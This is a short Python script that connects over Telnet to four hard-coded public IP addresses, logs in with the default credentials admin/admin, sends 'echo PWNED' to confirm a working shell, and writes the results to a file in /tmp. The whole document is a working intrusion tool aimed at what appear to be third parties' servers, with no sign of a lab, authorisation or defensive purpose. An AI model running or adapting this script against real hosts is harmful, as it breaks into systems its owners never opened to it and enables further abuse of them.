import socket, time
results = []
targets = [
    ("5.188.70.249", 23, "admin", "admin"),
    ("103.204.172.74", 23, "admin", "admin"),
    ("103.159.132.105", 23, "admin", "admin"),
    ("104.248.58.87", 23, "admin", "admin"),
]
for ip, port, user, passwd in targets:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(6)
        s.connect((ip, port))
        time.sleep(1)
        data = s.recv(4096).decode(errors="ignore")
        if "login" in data.lower():
            s.send((user+"\r\n").encode())
            time.sleep(1)
            data = s.recv(4096).decode(errors="ignore")
        if "password" in data.lower():
            s.send((passwd+"\r\n").encode())
            time.sleep(2)
            data = s.recv(4096).decode(errors="ignore")
        # flush
        time.sleep(0.5)
        try: s.recv(65536)
        except: pass
        # send a simple command
        s.send(b"echo PWNED\r\n")
        time.sleep(2)
        r = b""
        try:
            while True:
                c = s.recv(65536)
                if not c: break
                r += c
        except: pass
        txt = r.decode(errors="ignore")
        if "PWNED" in txt:
            results.append("SHELL " + ip)
        else:
            results.append("NOSHELL " + ip + " " + txt.strip()[:50])
        s.close()
    except Exception as e:
        results.append("ERR " + ip + " " + str(e)[:30])
    time.sleep(0.5)
with open("/tmp/vps_results.txt","w") as f:
    f.write("\n".join(results))
